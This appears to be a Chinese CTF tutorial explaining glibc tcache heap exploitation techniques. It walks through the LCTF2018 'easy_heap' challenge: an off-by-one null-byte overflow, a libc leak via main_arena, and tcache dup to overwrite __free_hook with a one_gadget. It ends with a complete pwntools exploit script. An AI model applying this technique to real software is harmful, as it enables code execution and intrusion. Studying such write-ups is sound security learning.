Tcache利用入门

Tcache介绍

tcache是libc2.26之后引入的一种新机制,与fastbin类似,是一个LIFO的单链表,每条链上最多有7个chunk,free的时候先放入tcache,tcache满了再放入fastbin,unsorted bin,libc2.29之前不会检查double free。malloc的时候先去tcache找,其相关结构体如下:

1
2
3
4
5
6
7
8
9
10
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;

typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

tcache_perthread_struct结构体是用来管理tcache链表的。TCACHE_MAX_BINS值是64,表示有64个链表,counts中一个元素表示对应链表中有多少个chunk,entries中的元素就是tcache链表。tcachebin和fastbin都是通过chunk的fd字段来作为链表的指针,tcachebin中的链表指针指向的下一个chunk的fd字段,fastbin中的链表指针指向的是下一个chunk的prev_size字段

Tcache利用

Tcache的利用主要分为以下几种:

  • tcache poisoning
    简单来说就是覆盖tcache_entry结构体中的next域,不经过任何伪造chunk即可分配到另外地址
  • tcache dup
    类似于fastbin的double free,就是多次释放同一个tcache,形成环状链表
  • tcache perthread corruption
    控制tcache_perthread_struct结构体
  • tcache house of spirit
    free内存后,使得栈上的一块地址进入tcache链表,这样再次分配的时候就能把这块地址分配出来

LCTF2018 PWN easy_heap

这是一道note类型的题目,有mymalloc、myfree、myputs功能,最多分配10个chunk,mymalloc中的read_content子函数中有一个off-by-one漏洞,NULL单字节溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 __fastcall read_content(_BYTE *buf, int len)
{
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 canary; // [rsp+18h] [rbp-8h]

canary = __readfsqword(0x28u);
i = 0;
if ( len )
{
while ( 1 )
{
read(0, &buf[i], 1uLL);
if ( len - 1 < i || !buf[i] || buf[i] == 10 )
break;
++i;
}
buf[i] = 0;
buf[len] = 0; // one null byte overflow
}
else
{
*buf = 0;
}
return __readfsqword(0x28u) ^ canary;
}

利用思路:先free填充满tcache,再free三个chunk,会进入unsorted bin,并存在合并操作,最后free的chunk的prev_size为0x200,可以用于后续的overlapping。(前三个for循环)不能直接用malloc构造下一个堆块的prev_size,因为0x200转为字节’\x00\x02\x00\x00\x00\x00\x00\x00’会被’\x00’截断。前三个for循环之后bins的结构是这样的:
tcachebin:满
unsortbin:A

1
2
3
4
5
6
7
+-----+ 低地址
| A |
+-----+
| B |
+-----+
| C |
+-----+ 高地址

A的fd和bk都指向main_arena+96,C的prev_size为0x200,第四个for循环,先分配了tcache里的chunk,再分配A、B、C,第五个for循环先向tcache填充了6个chunk,接着将B填入tcache,A填入unsortbin,分配B并单字节溢出C的prev_inuse位,将tcache填满,再free C到unsortbin发生overlapping,这样B既在分配列表中,也在unsortbin中。bins结构是这样的:
tcachebin:满
unsortbin:A

1
2
3
4
5
6
7
+-----+ 低地址
| A |
+-----+
| B |
+-----+
| C |
+-----+ 高地址

再次分配8个chunk,先将tcache中的分配完,再分配一个A,bins结构是这样的:
tcachebin:空
unsortbin:B

1
2
3
4
5
+-----+ 低地址
| B |
+-----+
| C |
+-----+ 高地址

此时B的fd和bk指向main_arena+96,而且B在分配列表中,打印B的值即可泄露main_arena+96的值,main_arena在libc中的偏移存放在libc文件的malloc_trim()函数中:

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall malloc_trim(__int64 a1)
{
...
v23 = a1;
if ( dword_3EB264 < 0 )
sub_913E0();
v24 = 0;
_R13 = &dword_3EBC40; // main_arena offset
...
}

到这就可以计算出libc的偏移,将B分配出来,在分配列表中就有两个B,可以进行tcache dup,再分配B将其fd改为__free_hook的got地址,再分配B,其fd就在tcache中了,也就是__free_hook的got地址在tcache中了,将其分配出来并在其中填入one_gadget,最后调用free就可以触发one_gadget了。
完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

context.log_level = "debug"

p = process('./easy_heap')

def malloc(size,content):
p.recvuntil("> ")
p.sendline('1')
p.recvuntil("> ")
p.sendline(str(size))
p.recvuntil("> ")
p.sendline(content)

def free(index):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("> ")
p.sendline(str(index))

def puts(index):
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("> ")
p.sendline(str(index))

for x in range(10):
malloc(0x20,"")

for x in range(3,10):
free(x)

for x in range(3):
free(x)

for x in range(10):
malloc(0x20,"")

for x in range(6):
free(x)

free(8) # tcache
free(7) # unsort bin

malloc(248,'')

free(6) # tcache
free(9) # overlapping

for x in range(8):
malloc(0x20,'')

puts(0)

#libc_base = u64(p.recv(6).ljust(8,'\x00')) - 96 - 0x3EBC40
main_arena = p.recv(6)+b'\x00\x00'
libc_base = u64(main_arena) - 96 - 0x3EBC40
free_hook = libc_base + 0x3ed8e8
print(hex(libc_base))
one_shot = libc_base + 0x4f322

malloc(0x20,'')

gdb.attach(p)

free(5) # free to avoid full

free(0)
free(9)
malloc(0x20, p64(free_hook))
malloc(0x20, '')
malloc(0x20, p64(one_shot))
free(5)

p.interactive()